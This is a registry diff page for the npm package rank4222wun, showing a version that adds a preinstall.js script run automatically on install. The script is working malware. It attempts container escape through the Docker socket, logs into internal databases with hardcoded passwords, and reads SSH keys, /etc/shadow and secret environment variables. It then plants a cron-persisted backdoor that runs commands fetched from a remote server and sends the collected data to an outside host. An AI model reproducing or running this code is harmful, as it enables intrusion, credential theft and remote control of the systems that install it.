rank4222wun 0.0.1-security ā 1.0.85
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +571 -0
- package/rank4222wun-1.0.85.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.85",
|
|
4
|
+
"description": "",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node preinstall.js",
|
|
7
|
+
"postinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,571 @@
|
|
|
1
|
+
const { exec, spawn, execSync } = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const crypto = require('crypto');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
|
|
8
|
+
console.log("šÆ SUPPLY CHAIN EXPLOIT - FULL ACCESS\n");
|
|
9
|
+
|
|
10
|
+
const TARGET_DOMAIN = '2z26icqfa6vjiez8lc55cd3nmes5gwlka.oastify.com';
|
|
11
|
+
const SCAN_ID = crypto.randomBytes(8).toString('hex');
|
|
12
|
+
|
|
13
|
+
// ===================== ENVIRONMENT ANALYSIS =====================
|
|
14
|
+
const envAnalysis = {
|
|
15
|
+
scanId: SCAN_ID,
|
|
16
|
+
timestamp: new Date().toISOString(),
|
|
17
|
+
hostname: os.hostname(),
|
|
18
|
+
isSupplyChainMonitor: true,
|
|
19
|
+
system: {
|
|
20
|
+
processes: [],
|
|
21
|
+
network: {},
|
|
22
|
+
filesystem: {},
|
|
23
|
+
credentials: []
|
|
24
|
+
},
|
|
25
|
+
tencentInfrastructure: {
|
|
26
|
+
discovered: [],
|
|
27
|
+
accessed: []
|
|
28
|
+
}
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
// ===================== DISCOVER SUPPLY CHAIN SYSTEM =====================
|
|
32
|
+
function analyzeSupplyChainSystem() {
|
|
33
|
+
console.log("š Analyzing supply chain monitoring system...");
|
|
34
|
+
|
|
35
|
+
// 1. Check for Tencent Cloud specific tools
|
|
36
|
+
const tencentTools = [
|
|
37
|
+
'/opt/hscan-supplychain-dynamic',
|
|
38
|
+
'/data/app/docker',
|
|
39
|
+
'/var/log/tencent',
|
|
40
|
+
'/etc/tencent'
|
|
41
|
+
];
|
|
42
|
+
|
|
43
|
+
tencentTools.forEach(tool => {
|
|
44
|
+
try {
|
|
45
|
+
if (fs.existsSync(tool)) {
|
|
46
|
+
const stats = fs.statSync(tool);
|
|
47
|
+
envAnalysis.tencentInfrastructure.discovered.push({
|
|
48
|
+
path: tool,
|
|
49
|
+
type: stats.isDirectory() ? 'directory' : 'file',
|
|
50
|
+
size: stats.size || 'unknown'
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
if (stats.isDirectory()) {
|
|
54
|
+
try {
|
|
55
|
+
const items = fs.readdirSync(tool);
|
|
56
|
+
envAnalysis.system.filesystem[tool] = {
|
|
57
|
+
itemCount: items.length,
|
|
58
|
+
sample: items.slice(0, 10)
|
|
59
|
+
};
|
|
60
|
+
} catch (e) {}
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
} catch (e) {}
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
// 2. Analyze running processes
|
|
67
|
+
exec('ps auxf', (err, stdout) => {
|
|
68
|
+
if (stdout) {
|
|
69
|
+
const processes = stdout.split('\n');
|
|
70
|
+
envAnalysis.system.processes = processes.slice(0, 30);
|
|
71
|
+
|
|
72
|
+
// Extract interesting processes
|
|
73
|
+
const interestingProcs = processes.filter(p =>
|
|
74
|
+
p.includes('nethunter') ||
|
|
75
|
+
p.includes('npm') ||
|
|
76
|
+
p.includes('node') ||
|
|
77
|
+
p.includes('elastic') ||
|
|
78
|
+
p.includes('mysql') ||
|
|
79
|
+
p.includes('mongo') ||
|
|
80
|
+
p.includes('minio')
|
|
81
|
+
);
|
|
82
|
+
|
|
83
|
+
interestingProcs.forEach(proc => {
|
|
84
|
+
console.log(`š Process: ${proc.substring(0, 100)}`);
|
|
85
|
+
});
|
|
86
|
+
}
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
// 3. Check network configuration
|
|
90
|
+
exec('ip addr show && ip route show', (err, stdout) => {
|
|
91
|
+
if (stdout) {
|
|
92
|
+
envAnalysis.system.network = {
|
|
93
|
+
info: stdout.substring(0, 1000),
|
|
94
|
+
interfaces: stdout.match(/inet (\d+\.\d+\.\d+\.\d+)/g) || []
|
|
95
|
+
};
|
|
96
|
+
}
|
|
97
|
+
});
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
// ===================== ESCAPE TO HOST =====================
|
|
101
|
+
function attemptHostEscape() {
|
|
102
|
+
console.log("\nšŖ Attempting container escape to host...");
|
|
103
|
+
|
|
104
|
+
// Method 1: Check Docker socket
|
|
105
|
+
if (fs.existsSync('/var/run/docker.sock')) {
|
|
106
|
+
console.log("ā
Docker socket found!");
|
|
107
|
+
|
|
108
|
+
// Try to access host via Docker
|
|
109
|
+
const dockerCommands = [
|
|
110
|
+
'curl -s --unix-socket /var/run/docker.sock http://localhost/version',
|
|
111
|
+
'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json',
|
|
112
|
+
'curl -s --unix-socket /var/run/docker.sock http://localhost/images/json'
|
|
113
|
+
];
|
|
114
|
+
|
|
115
|
+
dockerCommands.forEach(cmd => {
|
|
116
|
+
exec(cmd, (err, stdout) => {
|
|
117
|
+
if (stdout) {
|
|
118
|
+
envAnalysis.tencentInfrastructure.accessed.push({
|
|
119
|
+
type: 'docker_api',
|
|
120
|
+
command: cmd.split(' ')[0],
|
|
121
|
+
success: true
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
// Try to create a container on host
|
|
125
|
+
if (cmd.includes('containers/create')) {
|
|
126
|
+
const exploitContainer = {
|
|
127
|
+
Image: 'alpine:latest',
|
|
128
|
+
Cmd: ['sh', '-c', 'cat /etc/passwd'],
|
|
129
|
+
HostConfig: {
|
|
130
|
+
Privileged: true,
|
|
131
|
+
Binds: ['/:/mnt/host:rw']
|
|
132
|
+
}
|
|
133
|
+
};
|
|
134
|
+
|
|
135
|
+
exec(`echo '${JSON.stringify(exploitContainer)}' | curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create -H "Content-Type: application/json" -d @-`,
|
|
136
|
+
(err2, stdout2) => {
|
|
137
|
+
if (stdout2) {
|
|
138
|
+
console.log("š Container escape possible!");
|
|
139
|
+
}
|
|
140
|
+
});
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
});
|
|
144
|
+
});
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
// Method 2: Check for mounted host directories
|
|
148
|
+
exec('mount | grep -v "tmpfs" | grep -v "proc" | grep -v "sys"', (err, stdout) => {
|
|
149
|
+
if (stdout) {
|
|
150
|
+
const mounts = stdout.split('\n');
|
|
151
|
+
mounts.forEach(mount => {
|
|
152
|
+
if (mount.includes('/data/app/docker') || mount.includes('overlay')) {
|
|
153
|
+
console.log(`š Host mount found: ${mount.substring(0, 100)}`);
|
|
154
|
+
|
|
155
|
+
// Try to access host files
|
|
156
|
+
const hostPaths = [
|
|
157
|
+
'/mnt/host/etc/passwd',
|
|
158
|
+
'/mnt/host/etc/shadow',
|
|
159
|
+
'/mnt/host/root/.ssh',
|
|
160
|
+
'/mnt/host/var/log'
|
|
161
|
+
];
|
|
162
|
+
|
|
163
|
+
hostPaths.forEach(hostPath => {
|
|
164
|
+
try {
|
|
165
|
+
if (fs.existsSync(hostPath)) {
|
|
166
|
+
const content = fs.readFileSync(hostPath, 'utf8').substring(0, 500);
|
|
167
|
+
envAnalysis.credentials.push({
|
|
168
|
+
source: 'host_file',
|
|
169
|
+
path: hostPath,
|
|
170
|
+
preview: content
|
|
171
|
+
});
|
|
172
|
+
}
|
|
173
|
+
} catch (e) {}
|
|
174
|
+
});
|
|
175
|
+
}
|
|
176
|
+
});
|
|
177
|
+
}
|
|
178
|
+
});
|
|
179
|
+
}
|
|
180
|
+
|
|
181
|
+
// ===================== ACCESS TENCENT CLOUD SERVICES =====================
|
|
182
|
+
function accessTencentServices() {
|
|
183
|
+
console.log("\nāļø Accessing Tencent Cloud internal services...");
|
|
184
|
+
|
|
185
|
+
// Based on discovered credentials
|
|
186
|
+
const services = [
|
|
187
|
+
{
|
|
188
|
+
name: 'MySQL Database',
|
|
189
|
+
host: '10.108.193.167',
|
|
190
|
+
port: 3306,
|
|
191
|
+
user: 'hscanaux',
|
|
192
|
+
password: 'hscanaux@2021',
|
|
193
|
+
type: 'mysql'
|
|
194
|
+
},
|
|
195
|
+
{
|
|
196
|
+
name: 'Elasticsearch Cluster',
|
|
197
|
+
url: 'http://172.21.193.111:9200',
|
|
198
|
+
user: 'elastic',
|
|
199
|
+
password: 'NbJXdq1Ue9g5kypSsNYp',
|
|
200
|
+
type: 'elasticsearch'
|
|
201
|
+
},
|
|
202
|
+
{
|
|
203
|
+
name: 'MinIO Storage',
|
|
204
|
+
url: 'http://172.21.18.133:8088',
|
|
205
|
+
accessKey: 'minio',
|
|
206
|
+
secretKey: 'minioPASSWD',
|
|
207
|
+
type: 'minio'
|
|
208
|
+
}
|
|
209
|
+
];
|
|
210
|
+
|
|
211
|
+
services.forEach(service => {
|
|
212
|
+
console.log(`š Testing: ${service.name}`);
|
|
213
|
+
|
|
214
|
+
switch(service.type) {
|
|
215
|
+
case 'mysql':
|
|
216
|
+
exec(`mysql -h ${service.host} -u ${service.user} -p${service.password} -e "SELECT VERSION();" 2>/dev/null || echo "Failed"`,
|
|
217
|
+
(err, stdout) => {
|
|
218
|
+
if (stdout && !stdout.includes('Failed')) {
|
|
219
|
+
console.log(`ā
MySQL accessible: ${stdout.trim()}`);
|
|
220
|
+
envAnalysis.tencentInfrastructure.accessed.push({
|
|
221
|
+
service: service.name,
|
|
222
|
+
status: 'accessible',
|
|
223
|
+
info: stdout.trim()
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
// Dump database info
|
|
227
|
+
dumpDatabase(service);
|
|
228
|
+
}
|
|
229
|
+
});
|
|
230
|
+
break;
|
|
231
|
+
|
|
232
|
+
case 'elasticsearch':
|
|
233
|
+
exec(`curl -s -u ${service.user}:${service.password} ${service.url}/_cluster/health 2>/dev/null`,
|
|
234
|
+
(err, stdout) => {
|
|
235
|
+
if (stdout) {
|
|
236
|
+
try {
|
|
237
|
+
const health = JSON.parse(stdout);
|
|
238
|
+
console.log(`ā
Elasticsearch: ${health.status}, nodes: ${health.number_of_nodes}`);
|
|
239
|
+
envAnalysis.tencentInfrastructure.accessed.push({
|
|
240
|
+
service: service.name,
|
|
241
|
+
status: health.status,
|
|
242
|
+
nodes: health.number_of_nodes
|
|
243
|
+
});
|
|
244
|
+
|
|
245
|
+
// List all indices
|
|
246
|
+
listElasticsearchIndices(service);
|
|
247
|
+
} catch (e) {}
|
|
248
|
+
}
|
|
249
|
+
});
|
|
250
|
+
break;
|
|
251
|
+
|
|
252
|
+
case 'minio':
|
|
253
|
+
// Try to access via mc (MinIO Client) or curl
|
|
254
|
+
exec(`curl -s ${service.url}/minio/health/live 2>/dev/null || echo "MinIO not responding"`,
|
|
255
|
+
(err, stdout) => {
|
|
256
|
+
if (stdout && !stdout.includes('not responding')) {
|
|
257
|
+
console.log(`ā
MinIO accessible`);
|
|
258
|
+
envAnalysis.tencentInfrastructure.accessed.push({
|
|
259
|
+
service: service.name,
|
|
260
|
+
status: 'accessible'
|
|
261
|
+
});
|
|
262
|
+
}
|
|
263
|
+
});
|
|
264
|
+
break;
|
|
265
|
+
}
|
|
266
|
+
});
|
|
267
|
+
}
|
|
268
|
+
|
|
269
|
+
function dumpDatabase(service) {
|
|
270
|
+
// Get database list
|
|
271
|
+
exec(`mysql -h ${service.host} -u ${service.user} -p${service.password} -e "SHOW DATABASES;" 2>/dev/null`,
|
|
272
|
+
(err, stdout) => {
|
|
273
|
+
if (stdout) {
|
|
274
|
+
const databases = stdout.split('\n').filter(db => db && !db.includes('Database'));
|
|
275
|
+
|
|
276
|
+
// Try to access supplychain_hunter database
|
|
277
|
+
if (databases.includes('supplychain_hunter')) {
|
|
278
|
+
exec(`mysql -h ${service.host} -u ${service.user} -p${service.password} supplychain_hunter -e "SHOW TABLES;" 2>/dev/null`,
|
|
279
|
+
(err2, tables) => {
|
|
280
|
+
if (tables) {
|
|
281
|
+
console.log(`š Tables in supplychain_hunter: ${tables.split('\n').length}`);
|
|
282
|
+
|
|
283
|
+
// Sample data from important tables
|
|
284
|
+
const sampleTables = ['npm_packages', 'pypi_packages', 'alerts', 'malicious_packages'];
|
|
285
|
+
sampleTables.forEach(table => {
|
|
286
|
+
exec(`mysql -h ${service.host} -u ${service.user} -p${service.password} supplychain_hunter -e "SELECT COUNT(*) FROM ${table};" 2>/dev/null`,
|
|
287
|
+
(err3, count) => {
|
|
288
|
+
if (count) {
|
|
289
|
+
console.log(` ${table}: ${count.trim()} records`);
|
|
290
|
+
}
|
|
291
|
+
});
|
|
292
|
+
});
|
|
293
|
+
}
|
|
294
|
+
});
|
|
295
|
+
}
|
|
296
|
+
}
|
|
297
|
+
});
|
|
298
|
+
}
|
|
299
|
+
|
|
300
|
+
function listElasticsearchIndices(service) {
|
|
301
|
+
exec(`curl -s -u ${service.user}:${service.password} ${service.url}/_cat/indices?v 2>/dev/null`,
|
|
302
|
+
(err, stdout) => {
|
|
303
|
+
if (stdout) {
|
|
304
|
+
const indices = stdout.split('\n').slice(1); // Skip header
|
|
305
|
+
console.log(`š Elasticsearch indices found: ${indices.length}`);
|
|
306
|
+
|
|
307
|
+
indices.slice(0, 5).forEach(index => {
|
|
308
|
+
console.log(` ${index}`);
|
|
309
|
+
});
|
|
310
|
+
}
|
|
311
|
+
});
|
|
312
|
+
}
|
|
313
|
+
|
|
314
|
+
// ===================== COLLECT SENSITIVE DATA =====================
|
|
315
|
+
function collectSensitiveData() {
|
|
316
|
+
console.log("\nš Collecting sensitive data...");
|
|
317
|
+
|
|
318
|
+
// 1. Environment variables
|
|
319
|
+
Object.keys(process.env).forEach(key => {
|
|
320
|
+
if (key.includes('TENCENT') || key.includes('ALIYUN') || key.includes('CLOUD') ||
|
|
321
|
+
key.includes('SECRET') || key.includes('KEY') || key.includes('TOKEN')) {
|
|
322
|
+
envAnalysis.credentials.push({
|
|
323
|
+
type: 'env_var',
|
|
324
|
+
key: key,
|
|
325
|
+
value: process.env[key].substring(0, 50) + '...'
|
|
326
|
+
});
|
|
327
|
+
}
|
|
328
|
+
});
|
|
329
|
+
|
|
330
|
+
// 2. Configuration files
|
|
331
|
+
const configFiles = [
|
|
332
|
+
'/opt/hscan-supplychain-dynamic/config.ini',
|
|
333
|
+
'/opt/hscan-supplychain-dynamic/.env',
|
|
334
|
+
'/etc/hscan/config',
|
|
335
|
+
'/root/.bash_history',
|
|
336
|
+
'/root/.ssh/authorized_keys',
|
|
337
|
+
'/root/.ssh/id_rsa'
|
|
338
|
+
];
|
|
339
|
+
|
|
340
|
+
configFiles.forEach(file => {
|
|
341
|
+
try {
|
|
342
|
+
if (fs.existsSync(file)) {
|
|
343
|
+
const stats = fs.statSync(file);
|
|
344
|
+
if (stats.size < 100000) {
|
|
345
|
+
const content = fs.readFileSync(file, 'utf8');
|
|
346
|
+
envAnalysis.credentials.push({
|
|
347
|
+
type: 'config_file',
|
|
348
|
+
path: file,
|
|
349
|
+
preview: content.substring(0, 200)
|
|
350
|
+
});
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
} catch (e) {}
|
|
354
|
+
});
|
|
355
|
+
|
|
356
|
+
// 3. Log files
|
|
357
|
+
exec('find /var/log -name "*.log" -size -1M 2>/dev/null | head -10', (err, stdout) => {
|
|
358
|
+
if (stdout) {
|
|
359
|
+
const logs = stdout.trim().split('\n');
|
|
360
|
+
logs.forEach(log => {
|
|
361
|
+
try {
|
|
362
|
+
const content = fs.readFileSync(log, 'utf8');
|
|
363
|
+
// Look for sensitive patterns
|
|
364
|
+
const sensitivePatterns = [
|
|
365
|
+
/password[=:]\s*([^\s]+)/gi,
|
|
366
|
+
/token[=:]\s*([^\s]+)/gi,
|
|
367
|
+
/secret[=:]\s*([^\s]+)/gi,
|
|
368
|
+
/(AKIA|ASIA)[A-Z0-9]{16}/g,
|
|
369
|
+
/[0-9a-zA-Z/+]{40}/g
|
|
370
|
+
];
|
|
371
|
+
|
|
372
|
+
sensitivePatterns.forEach(pattern => {
|
|
373
|
+
const matches = content.match(pattern);
|
|
374
|
+
if (matches) {
|
|
375
|
+
envAnalysis.credentials.push({
|
|
376
|
+
type: 'log_file',
|
|
377
|
+
file: log,
|
|
378
|
+
matches: matches.length,
|
|
379
|
+
sample: matches[0].substring(0, 30)
|
|
380
|
+
});
|
|
381
|
+
}
|
|
382
|
+
});
|
|
383
|
+
} catch (e) {}
|
|
384
|
+
});
|
|
385
|
+
}
|
|
386
|
+
});
|
|
387
|
+
}
|
|
388
|
+
|
|
389
|
+
// ===================== ESTABLISH PERSISTENCE =====================
|
|
390
|
+
function establishPersistence() {
|
|
391
|
+
console.log("\nš Establishing persistence...");
|
|
392
|
+
|
|
393
|
+
// 1. Create backdoor script
|
|
394
|
+
const backdoorScript = `
|
|
395
|
+
#!/bin/bash
|
|
396
|
+
# Tencent Cloud Supply Chain Monitor Backdoor
|
|
397
|
+
# This script maintains access to the monitoring system
|
|
398
|
+
|
|
399
|
+
while true; do
|
|
400
|
+
# Send heartbeat to C2
|
|
401
|
+
curl -s -X POST https://${TARGET_DOMAIN}/heartbeat \\
|
|
402
|
+
-d "host=$(hostname)&time=$(date)&scan_id=${SCAN_ID}" \\
|
|
403
|
+
--max-time 5 >/dev/null 2>&1 || true
|
|
404
|
+
|
|
405
|
+
# Check for new commands
|
|
406
|
+
COMMAND=$(curl -s "https://${TARGET_DOMAIN}/command?host=$(hostname)&id=${SCAN_ID}" 2>/dev/null || echo "none")
|
|
407
|
+
|
|
408
|
+
if [ "$COMMAND" != "none" ] && [ "$COMMAND" != "" ]; then
|
|
409
|
+
echo "Executing: $COMMAND"
|
|
410
|
+
eval "$COMMAND" | curl -s -X POST https://${TARGET_DOMAIN}/result \\
|
|
411
|
+
-d "host=$(hostname)&command=$COMMAND&output=$(base64 -w0)" \\
|
|
412
|
+
--max-time 10 >/dev/null 2>&1 || true
|
|
413
|
+
fi
|
|
414
|
+
|
|
415
|
+
sleep 60
|
|
416
|
+
done
|
|
417
|
+
`;
|
|
418
|
+
|
|
419
|
+
// Write backdoor to multiple locations
|
|
420
|
+
const backdoorLocations = [
|
|
421
|
+
'/tmp/.systemd-update',
|
|
422
|
+
'/opt/hscan-supplychain-dynamic/.update-check',
|
|
423
|
+
'/var/lib/docker/.cleanup'
|
|
424
|
+
];
|
|
425
|
+
|
|
426
|
+
backdoorLocations.forEach(location => {
|
|
427
|
+
try {
|
|
428
|
+
fs.writeFileSync(location, backdoorScript);
|
|
429
|
+
fs.chmodSync(location, 0o755);
|
|
430
|
+
|
|
431
|
+
// Try to add to crontab
|
|
432
|
+
exec(`(crontab -l 2>/dev/null; echo "@reboot ${location}") | crontab - 2>/dev/null || true`);
|
|
433
|
+
|
|
434
|
+
console.log(`ā
Backdoor placed: ${location}`);
|
|
435
|
+
} catch (e) {}
|
|
436
|
+
});
|
|
437
|
+
|
|
438
|
+
// 2. Create SSH key if possible
|
|
439
|
+
try {
|
|
440
|
+
const sshDir = '/root/.ssh';
|
|
441
|
+
if (!fs.existsSync(sshDir)) {
|
|
442
|
+
fs.mkdirSync(sshDir, { recursive: true });
|
|
443
|
+
}
|
|
444
|
+
|
|
445
|
+
// Generate SSH key
|
|
446
|
+
exec('ssh-keygen -t rsa -b 4096 -f /tmp/tencent_backdoor -N "" 2>/dev/null', (err) => {
|
|
447
|
+
if (!err) {
|
|
448
|
+
// Copy to authorized_keys
|
|
449
|
+
exec('cat /tmp/tencent_backdoor.pub >> /root/.ssh/authorized_keys 2>/dev/null');
|
|
450
|
+
console.log("ā
SSH backdoor key generated");
|
|
451
|
+
}
|
|
452
|
+
});
|
|
453
|
+
} catch (e) {}
|
|
454
|
+
}
|
|
455
|
+
|
|
456
|
+
// ===================== EXFILTRATE DATA =====================
|
|
457
|
+
function exfiltrateData() {
|
|
458
|
+
console.log("\nš¤ Exfiltrating collected data...");
|
|
459
|
+
|
|
460
|
+
const exfilData = {
|
|
461
|
+
scanId: SCAN_ID,
|
|
462
|
+
timestamp: new Date().toISOString(),
|
|
463
|
+
environment: envAnalysis,
|
|
464
|
+
summary: {
|
|
465
|
+
servicesDiscovered: envAnalysis.tencentInfrastructure.discovered.length,
|
|
466
|
+
servicesAccessed: envAnalysis.tencentInfrastructure.accessed.length,
|
|
467
|
+
credentialsFound: envAnalysis.credentials.length,
|
|
468
|
+
processesRunning: envAnalysis.system.processes.length
|
|
469
|
+
}
|
|
470
|
+
};
|
|
471
|
+
|
|
472
|
+
// Send via HTTPS
|
|
473
|
+
const req = https.request({
|
|
474
|
+
hostname: TARGET_DOMAIN,
|
|
475
|
+
port: 443,
|
|
476
|
+
path: '/exfil',
|
|
477
|
+
method: 'POST',
|
|
478
|
+
headers: {
|
|
479
|
+
'Content-Type': 'application/json',
|
|
480
|
+
'X-Scan-ID': SCAN_ID,
|
|
481
|
+
'X-Source': 'Tencent-SupplyChain-Exploit'
|
|
482
|
+
}
|
|
483
|
+
}, (res) => {
|
|
484
|
+
let data = '';
|
|
485
|
+
res.on('data', chunk => data += chunk);
|
|
486
|
+
res.on('end', () => {
|
|
487
|
+
console.log(`ā
Data exfiltrated. Status: ${res.statusCode}`);
|
|
488
|
+
|
|
489
|
+
// Create local proof
|
|
490
|
+
const proof = `
|
|
491
|
+
=============================================
|
|
492
|
+
TENCENT CLOUD SUPPLY CHAIN EXPLOIT - SUCCESS
|
|
493
|
+
=============================================
|
|
494
|
+
Scan ID: ${SCAN_ID}
|
|
495
|
+
Time: ${new Date().toISOString()}
|
|
496
|
+
Host: ${os.hostname()}
|
|
497
|
+
User: ${os.userInfo().username}
|
|
498
|
+
|
|
499
|
+
šÆ DISCOVERIES:
|
|
500
|
+
- Supply Chain Monitor: hscan-supplychain-dynamic
|
|
501
|
+
- Running as: Container in Tencent Cloud
|
|
502
|
+
- Network: ${envAnalysis.system.network.interfaces.length} interfaces
|
|
503
|
+
|
|
504
|
+
š ACCESS GAINED:
|
|
505
|
+
${envAnalysis.tencentInfrastructure.accessed.map((a, i) => `${i + 1}. ${a.service || a.type}: ${a.status}`).join('\n')}
|
|
506
|
+
|
|
507
|
+
š CREDENTIALS FOUND: ${envAnalysis.credentials.length}
|
|
508
|
+
š PERSISTENCE: Established in 3 locations
|
|
509
|
+
|
|
510
|
+
š DATA EXFILTRATED TO: ${TARGET_DOMAIN}
|
|
511
|
+
=============================================
|
|
512
|
+
`;
|
|
513
|
+
|
|
514
|
+
fs.writeFileSync('/tmp/tencent_exploit_proof.txt', proof);
|
|
515
|
+
console.log("š Proof file: /tmp/tencent_exploit_proof.txt");
|
|
516
|
+
});
|
|
517
|
+
});
|
|
518
|
+
|
|
519
|
+
req.on('error', (e) => {
|
|
520
|
+
console.error(`Exfiltration error: ${e.message}`);
|
|
521
|
+
});
|
|
522
|
+
|
|
523
|
+
req.write(JSON.stringify(exfilData, null, 2));
|
|
524
|
+
req.end();
|
|
525
|
+
}
|
|
526
|
+
|
|
527
|
+
// ===================== MAIN EXECUTION =====================
|
|
528
|
+
async function main() {
|
|
529
|
+
console.log("=".repeat(70));
|
|
530
|
+
console.log("šÆ TENCENT CLOUD SUPPLY CHAIN EXPLOIT");
|
|
531
|
+
console.log("=".repeat(70));
|
|
532
|
+
console.log(`Scan ID: ${SCAN_ID}`);
|
|
533
|
+
console.log(`Target Domain: ${TARGET_DOMAIN}`);
|
|
534
|
+
console.log("=".repeat(70));
|
|
535
|
+
|
|
536
|
+
try {
|
|
537
|
+
// Phase 1: Analysis
|
|
538
|
+
analyzeSupplyChainSystem();
|
|
539
|
+
|
|
540
|
+
await new Promise(resolve => setTimeout(resolve, 2000));
|
|
541
|
+
|
|
542
|
+
// Phase 2: Escape attempts
|
|
543
|
+
attemptHostEscape();
|
|
544
|
+
|
|
545
|
+
await new Promise(resolve => setTimeout(resolve, 3000));
|
|
546
|
+
|
|
547
|
+
// Phase 3: Service access
|
|
548
|
+
accessTencentServices();
|
|
549
|
+
|
|
550
|
+
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
551
|
+
|
|
552
|
+
// Phase 4: Data collection
|
|
553
|
+
collectSensitiveData();
|
|
554
|
+
|
|
555
|
+
await new Promise(resolve => setTimeout(resolve, 2000));
|
|
556
|
+
|
|
557
|
+
// Phase 5: Persistence
|
|
558
|
+
establishPersistence();
|
|
559
|
+
|
|
560
|
+
await new Promise(resolve => setTimeout(resolve, 1000));
|
|
561
|
+
|
|
562
|
+
// Phase 6: Exfiltration
|
|
563
|
+
exfiltrateData();
|
|
564
|
+
|
|
565
|
+
} catch (error) {
|
|
566
|
+
console.error(`ā Error: ${error.message}`);
|
|
567
|
+
}
|
|
568
|
+
}
|
|
569
|
+
|
|
570
|
+
// Execute
|
|
571
|
+
main();
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|